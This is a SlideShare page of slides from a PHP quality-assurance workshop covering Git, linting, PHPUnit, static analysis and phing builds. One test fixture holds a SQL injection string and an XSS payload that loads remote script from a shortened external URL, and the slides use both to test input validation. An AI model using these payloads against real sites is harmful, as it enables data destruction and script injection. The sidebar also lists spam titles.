Are you a good scout? - PHPNW15 UnconfAre you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 Unconf
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015
 
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
 
Building Your API for Longevity
Building Your API for LongevityBuilding Your API for Longevity
Building Your API for Longevity
 
TDD with PhpSpec
TDD with PhpSpecTDD with PhpSpec
TDD with PhpSpec
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensions
 
Dockerize All The Things
Dockerize All The ThingsDockerize All The Things
Dockerize All The Things
 
Introduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with JenkinsIntroduction to Continuous Integration with Jenkins
Introduction to Continuous Integration with Jenkins
 
Modern PHP Developer
Modern PHP DeveloperModern PHP Developer
Modern PHP Developer
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Driving Design through Examples
Driving Design through ExamplesDriving Design through Examples
Driving Design through Examples
 
Hexagonal architecture message-oriented software design
Hexagonal architecture   message-oriented software designHexagonal architecture   message-oriented software design
Hexagonal architecture message-oriented software design
 
Consequences of an Insightful Algorithm
Consequences of an Insightful AlgorithmConsequences of an Insightful Algorithm
Consequences of an Insightful Algorithm
 

Similar to QA for PHP projects

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastMichelangelo van Dam
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)Mike Schinkel
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Projectxsist10
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Michelangelo van Dam
 
[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018Adam Tomat
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormMichelangelo van Dam
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207patter
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress DeveloperJoey Kudish
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ EtsyNishan Subedi
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkBo-Yi Wu
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Eric Hogue
 
Api Design
Api DesignApi Design
Api Designsartak
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using CodeceptionJeroen van Dijk
 
Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?Yevhen Kotelnytskyi
 
[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress DevelopmentAdam Tomat
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnitTesting persistence in PHP with DbUnit
Testing persistence in PHP with DbUnitPeter Wilcsinszky
 

Similar to QA for PHP projects (20)

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
Hardcore URL Routing for WordPress - WordCamp Atlanta 2014 (PPT)
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
 
[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018[WLDN] Supercharging word press development in 2018
[WLDN] Supercharging word press development in 2018
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStorm
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014Getting started with TDD - Confoo 2014
Getting started with TDD - Confoo 2014
 
Api Design
Api DesignApi Design
Api Design
 
Phactory
PhactoryPhactory
Phactory
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
 
Separation of concerns - DPC12
Separation of concerns - DPC12Separation of concerns - DPC12
Separation of concerns - DPC12
 
Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?Как получить чёрный пояс по WordPress?
Как получить чёрный пояс по WordPress?
 
[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development[Bristol WordPress] Supercharging WordPress Development
[Bristol WordPress] Supercharging WordPress Development
 
Testing persistence in PHP with DbUnit
Testing persistence in PHP with DbUnitTesting persistence in PHP with DbUnit
Testing persistence in PHP with DbUnit
 

More from Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultMichelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functionsMichelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyMichelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageMichelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful businessMichelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me laterMichelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesMichelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heavenMichelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an apiMichelangelo van Dam
 
90K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 201490K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 2014Michelangelo van Dam
 
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014Michelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 
200K+ reasons security is a must
200K+ reasons security is a must200K+ reasons security is a must
200K+ reasons security is a must
 
90K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 201490K Reasons Security is a Must - PHPWorld 2014
90K Reasons Security is a Must - PHPWorld 2014
 
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
Pimp legacy PHP apps with Apigility - TrueNorthPHP 2014
 

Recently uploaded

Instrumentation, measurement and control of bio process parameters ( Temperat...
Instrumentation, measurement and control of bio process parameters ( Temperat...Instrumentation, measurement and control of bio process parameters ( Temperat...
Instrumentation, measurement and control of bio process parameters ( Temperat...121011101441
 
Vishratwadi & Ghorpadi Bridge Tender documents
Vishratwadi & Ghorpadi Bridge Tender documentsVishratwadi & Ghorpadi Bridge Tender documents
Vishratwadi & Ghorpadi Bridge Tender documentsSachinPawar510423
 
complete construction, environmental and economics information of biomass com...
complete construction, environmental and economics information of biomass com...complete construction, environmental and economics information of biomass com...
complete construction, environmental and economics information of biomass com...asadnawaz62
 
An experimental study in using natural admixture as an alternative for chemic...
An experimental study in using natural admixture as an alternative for chemic...An experimental study in using natural admixture as an alternative for chemic...
An experimental study in using natural admixture as an alternative for chemic...Chandu841456
 
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdf
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdfCCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdf
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdfAsst.prof M.Gokilavani
 
Steel Structures - Building technology.pptx
Steel Structures - Building technology.pptxSteel Structures - Building technology.pptx
Steel Structures - Building technology.pptxNikhil Raut
 
Solving The Right Triangles PowerPoint 2.ppt
Solving The Right Triangles PowerPoint 2.pptSolving The Right Triangles PowerPoint 2.ppt
Solving The Right Triangles PowerPoint 2.pptJasonTagapanGulla
 
Main Memory Management in Operating System
Main Memory Management in Operating SystemMain Memory Management in Operating System
Main Memory Management in Operating SystemRashmi Bhat
 
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...Amil Baba Dawood bangali
 
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)Dr SOUNDIRARAJ N
 
Virtual memory management in Operating System
Virtual memory management in Operating SystemVirtual memory management in Operating System
Virtual memory management in Operating SystemRashmi Bhat
 
The SRE Report 2024 - Great Findings for the teams
The SRE Report 2024 - Great Findings for the teamsThe SRE Report 2024 - Great Findings for the teams
The SRE Report 2024 - Great Findings for the teamsDILIPKUMARMONDAL6
 
National Level Hackathon Participation Certificate.pdf
National Level Hackathon Participation Certificate.pdfNational Level Hackathon Participation Certificate.pdf
National Level Hackathon Participation Certificate.pdfRajuKanojiya4
 
Correctly Loading Incremental Data at Scale
Correctly Loading Incremental Data at ScaleCorrectly Loading Incremental Data at Scale
Correctly Loading Incremental Data at ScaleAlluxio, Inc.
 
Research Methodology for Engineering pdf
Research Methodology for Engineering pdfResearch Methodology for Engineering pdf
Research Methodology for Engineering pdfCaalaaAbdulkerim
 
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfg
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfgUnit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfg
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfgsaravananr517913
 
Introduction-To-Agricultural-Surveillance-Rover.pptx
Introduction-To-Agricultural-Surveillance-Rover.pptxIntroduction-To-Agricultural-Surveillance-Rover.pptx
Introduction-To-Agricultural-Surveillance-Rover.pptxk795866
 

Recently uploaded (20)

Instrumentation, measurement and control of bio process parameters ( Temperat...
Instrumentation, measurement and control of bio process parameters ( Temperat...Instrumentation, measurement and control of bio process parameters ( Temperat...
Instrumentation, measurement and control of bio process parameters ( Temperat...
 
Vishratwadi & Ghorpadi Bridge Tender documents
Vishratwadi & Ghorpadi Bridge Tender documentsVishratwadi & Ghorpadi Bridge Tender documents
Vishratwadi & Ghorpadi Bridge Tender documents
 
complete construction, environmental and economics information of biomass com...
complete construction, environmental and economics information of biomass com...complete construction, environmental and economics information of biomass com...
complete construction, environmental and economics information of biomass com...
 
An experimental study in using natural admixture as an alternative for chemic...
An experimental study in using natural admixture as an alternative for chemic...An experimental study in using natural admixture as an alternative for chemic...
An experimental study in using natural admixture as an alternative for chemic...
 
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdf
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdfCCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdf
CCS355 Neural Networks & Deep Learning Unit 1 PDF notes with Question bank .pdf
 
POWER SYSTEMS-1 Complete notes examples
POWER SYSTEMS-1 Complete notes  examplesPOWER SYSTEMS-1 Complete notes  examples
POWER SYSTEMS-1 Complete notes examples
 
Steel Structures - Building technology.pptx
Steel Structures - Building technology.pptxSteel Structures - Building technology.pptx
Steel Structures - Building technology.pptx
 
Solving The Right Triangles PowerPoint 2.ppt
Solving The Right Triangles PowerPoint 2.pptSolving The Right Triangles PowerPoint 2.ppt
Solving The Right Triangles PowerPoint 2.ppt
 
Main Memory Management in Operating System
Main Memory Management in Operating SystemMain Memory Management in Operating System
Main Memory Management in Operating System
 
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...
NO1 Certified Black Magic Specialist Expert Amil baba in Uae Dubai Abu Dhabi ...
 
Design and analysis of solar grass cutter.pdf
Design and analysis of solar grass cutter.pdfDesign and analysis of solar grass cutter.pdf
Design and analysis of solar grass cutter.pdf
 
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)
UNIT III ANALOG ELECTRONICS (BASIC ELECTRONICS)
 
Virtual memory management in Operating System
Virtual memory management in Operating SystemVirtual memory management in Operating System
Virtual memory management in Operating System
 
The SRE Report 2024 - Great Findings for the teams
The SRE Report 2024 - Great Findings for the teamsThe SRE Report 2024 - Great Findings for the teams
The SRE Report 2024 - Great Findings for the teams
 
young call girls in Green Park🔝 9953056974 🔝 escort Service
young call girls in Green Park🔝 9953056974 🔝 escort Serviceyoung call girls in Green Park🔝 9953056974 🔝 escort Service
young call girls in Green Park🔝 9953056974 🔝 escort Service
 
National Level Hackathon Participation Certificate.pdf
National Level Hackathon Participation Certificate.pdfNational Level Hackathon Participation Certificate.pdf
National Level Hackathon Participation Certificate.pdf
 
Correctly Loading Incremental Data at Scale
Correctly Loading Incremental Data at ScaleCorrectly Loading Incremental Data at Scale
Correctly Loading Incremental Data at Scale
 
Research Methodology for Engineering pdf
Research Methodology for Engineering pdfResearch Methodology for Engineering pdf
Research Methodology for Engineering pdf
 
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfg
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfgUnit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfg
Unit7-DC_Motors nkkjnsdkfnfcdfknfdgfggfg
 
Introduction-To-Agricultural-Surveillance-Rover.pptx
Introduction-To-Agricultural-Surveillance-Rover.pptxIntroduction-To-Agricultural-Surveillance-Rover.pptx
Introduction-To-Agricultural-Surveillance-Rover.pptx
 

QA for PHP projects

  • 1. QA for PHP projects in it2PROFESSIONAL PHP SERVICES
  • 2. Requirements • VirtualBox http://virtualbox.com • Vagrant https://vagrantup.com • Copy of https://github.com/in2it/phpqa-workshop • Copy of https://github.com/in2it/phpqa-testing
  • 3. Michelangelo van Dam! ! PHP Consultant Community Leader President of PHPBenelux Contributor to PHP projects ! T @DragonBe | F DragonBe https://www.flickr.com/photos/akrabat/8784318813
  • 4. Using Social Media? Tag it #phpqa http://www.flickr.com/photos/andyofne/4633356197 http://www.flickr.com/photos/andyofne/4633356197
  • 5. What is QA? Testing Measuring Automation
  • 14. GIT
  • 22. Advantages of SCM • Team development • Multi-versions management • Keep track of history • Tagging milestones • Backup of source code • Full integration https://www.flickr.com/photos/skoop/5397232723
  • 23. Exercise • Start a new project “phpqa-intro” • Initialise it as a GIT project • Create a “hello world” php script • Add it to the repository & commit
  • 24. Possible answer $ cd workspace $ mkdir phpqa-intro $ cd phpqa-intro $ git init $(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php $(master #) git add helloworld.php $(master #) git commit -m 'Initial version of helloworld' [master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php $(master)
  • 27. PHP Lint php -l <filename>
  • 29. Exercise • Download the pre-commit hook from http://in2.se/ phplintgit (or get it from the USB drive) • Make sure you make it executable • Create a syntax error in error.php and commit it • See you get the error and ensure the file is not committed.
  • 30. Possible answer $(master) git checkout -b phplint $(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit $(phplint) chmod ugo+x .git/hooks/pre-commit $(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php $(phplint) git add error.php $(phplint +) git commit -m 'Trying to add code with errors' Syntax errors found in file: error.php ! Found PHP parse errors: PHP Parse error: parse error, expecting `','' or `';'' in /Users/ dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa- intro/error.php on line 2 ! PHP parse errors found. Fix errors and commit again. $(phplint +)
  • 32. Why providing docblocks? • Useful information about the class, method or logic • Provides hints in IDE’s • Great reference for • New team members • 3rd party developers https://www.flickr.com/photos/mundoo/2293493420
  • 35. Exercise • Create a class with a couple of methods (or use the class in “exercise/MyClass.php”) • Run phpdoc against this class ./vendor/bin/phpdoc  -­‐d  exercise/phpdoc  -­‐t  build/phpdoc   • See the resulting documentation files at http:// 192.168.166.166/phpdoc
  • 37. Most common excuses why developers don’t test • no time • no budget • deliver tests after finish project (never) • devs don’t know how https://www.flickr.com/photos/dasprid/8147986307
  • 40. PHPUnit & Composer {      "require":  {          "php":  "<=5.5.0"      },      "require-­‐dev":  {          "phpunit/phpunit":  "~4.4"      },   }
  • 41. phpunit.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   ! <phpunit          bootstrap="./vendor/autoload.php"          colors="true"          strict="true"          stopOnError="true"          stopOnFailure="true">   !        <testsuite  name="PHPQA  Workshop  TestSuite">                  <directory>./tests</directory>          </testsuite>   ! </phpunit>
  • 44. CommentTest <?php   namespace  PhpqaTestsModel;   ! use  PhpqaModelComment;   ! class  CommentTest  extends  PHPUnit_Framework_TestCase   {          public  function  testModelIsPopulatedAtConstruct()          {                  $data  =  [                          'commentId'        =>  1,                          'fullName'          =>  'Johny  Test',                          'emailAddress'  =>  'johny.test@example.com',                          'website'            =>  'http://johnytest.com',                          'comment'            =>  'This  is  a  comment',                  ];   !                $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }   }  
  • 45.
  • 46.
  • 48. Exercise • Test Comment class that you can convert it directly into an array • BONUS: Also test you can convert it into JSON
  • 50. A few remarks • Testing against databases is “integration testing” • Testing against databases is slow • Testing against databases is only useful for • triggers & stored procedures • correct encoding and collations
  • 51. Data is just “Data”
  • 53. Generated data        /**            *  Provides  data  that  we  consider  to  be  safe  and  of  quality            *  @return  array            */          public  function  goodDataProvider()          {                  $faker  =  FakerFactory::create();                  $data  =  [];                  for  ($iter  =  0;  $iter  <  500;  $iter++)  {                          $data[]  =  [                                  'commentId'        =>  rand(1,  time()),                                  'fullName'          =>  $faker-­‐>name,                                  'emailAddress'  =>  $faker-­‐>email,                                  'website'            =>  $faker-­‐>url,                                  'comment'            =>  $faker-­‐>text(),                          ];                  }                  return  $data;          }
  • 54. Modify our test        /**            *  @dataProvider  goodDataProvider            */          public  function  testModelIsPopulatedAtConstruct($data)          {                  $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }
  • 55.
  • 58. Is this your project?
  • 61. First modify our class <?php   namespace  PhpqaModel;   ! use  ZendInputFilterInputFilter;   use  ZendInputFilterInput;   use  ZendFilter;   use  ZendValidator;   ! class  Comment   {          /**            *  @var  InputFilter            */          protected  $inputFilter;          /**            *  @return  InputFilter            */          public  function  getInputFilter()          {                  //  Lazy  loading  of  filter  and  validation  rules                  if  (null  ===  $this-­‐>inputFilter)  {                  }                  return  $this-­‐>inputFilter;          }
  • 62. Filter/Validate        $commentId  =  new  Input('commentId');          $commentId-­‐>getFilterChain()                  -­‐>attach(new  FilterInt());          $commentId-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorGreaterThan(['min'  =>  0]));   !        $fullName  =  new  Input('fullName');          $fullName-­‐>getFilterChain()                  -­‐>attach(new  FilterStringTrim())                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());          $fullName-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorStringLength(['min'  =>  5,  'max'  =>  150]));
  • 63. Filter/Validate (2)        $emailAddress  =  new  Input('emailAddress');          $emailAddress-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $emailAddress-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorEmailAddress());   !        $website  =  new  Input('website');          $website-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $website-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorUri());   !        $comment  =  new  Input('comment');          $comment-­‐>getFilterChain()                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());
  • 64. InputFilter        $inputFilter  =  new  InputFilter();          $inputFilter-­‐>add($commentId)                  -­‐>add($fullName)                  -­‐>add($emailAddress)                  -­‐>add($website)                  -­‐>add($comment);   !        $this-­‐>setInputFilter($inputFilter);
  • 65. badDataProvider        /**            *  Provides  data  that  we  consider  to  be  unsafe            *  @return  array            */          public  function  badDataProvider()          {                  return  [                          [                                  [                                          'commentId'        =>  0,                                          'fullName'          =>  '',                                          'emailAddress'  =>  '',                                          'website'            =>  '',                                          'comment'            =>  '',                                  ]                          ],[                                  [                                          'commentId'        =>  'Little  Bobby  Tables',                                          'fullName'          =>  'Robert');  DROP  TABLE  `students`;  -­‐-­‐',                                          'emailAddress'  =>  'clickjack@hackers',                                          'website'            =>  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",                                          'comment'            =>  'exploit  twitter  9/21/2010',                                  ]                          ],                  ];          }
  • 66. our bad data test        /**            *  @dataProvider  badDataProvider            */          public  function  testCommentIsProtectedAgainstHacks($data)          {                  $comment  =  new  Comment();                  $comment-­‐>getInputFilter()-­‐>setData($data);                  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());          }
  • 67.
  • 68. Exercise • Add some more “badData” entries • See if the validation rules hold • Test one of the latest exploits
  • 69. Wanna know more… Come and see me after the workshop
  • 72. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls pDepend info
  • 73. • metric calculation • execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info 
 http://en.wikipedia.org/wiki/Cyclomatic_complexity Cyclomatic Complexity
  • 74. • The average of the maximum length from a root class to its deepest subclass Average Hierarchy Height
  • 75. Pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes Inheritance
  • 79.
  • 80.
  • 81.
  • 83. What? • detects code smells • possible bugs • sub-optimal code • over complicated expressions • unused parameters, methods and properties • wrongly named parameters, methods or properties
  • 84. Example output ./vendor/bin/phpmd exercise/ html cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./ build/logs/phpmd.html
  • 86. What? • detects similar code snippets • plain copy/paste work • similar code routines • indicates problems • maintenance hell • downward spiral of disasters • stimulates improvements • refactoring of code • moving similar code snippets in common routines
  • 87.
  • 89. What? • validates coding standards • consistency • readability • set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code • can be set as pre-commit hook • but can cause frustration!!!
  • 90.
  • 91. Exercise • Run the following commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer) • What is the result?
  • 93. Using phing The PHP builder http://phing.info
  • 94. build.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   <project  name="PHPQA  Workshop"  default="build">          <fileset  dir="${project.basedir}"  id="files">                  <include  name="${project.basedir}/exercise/**"/>          </fileset>          <target  name="php-­‐lint"  description="Run  syntax  checking  on  the  codebase">                  <phplint>                          <fileset  refid="files"/>                  </phplint>          </target>          <target  name="php-­‐doc"  description="Generate  automated  documentation">                  <exec                          command="./vendor/bin/phpdoc  run  -­‐d  exercise/  -­‐t  build/phpdoc/"                          dir="${project.basedir}"/>          </target>          <!-­‐-­‐  ...  -­‐-­‐>            <target  name="build"  description="The  build  process">                  <phingcall  target="php-­‐lint"/>                  <phingcall  target="php-­‐doc"/>                  <phingcall  target="php-­‐depend"/>                  <phingcall  target="php-­‐md"/>                  <phingcall  target="php-­‐cpd"/>                  <phingcall  target="php-­‐cs"/>          </target>   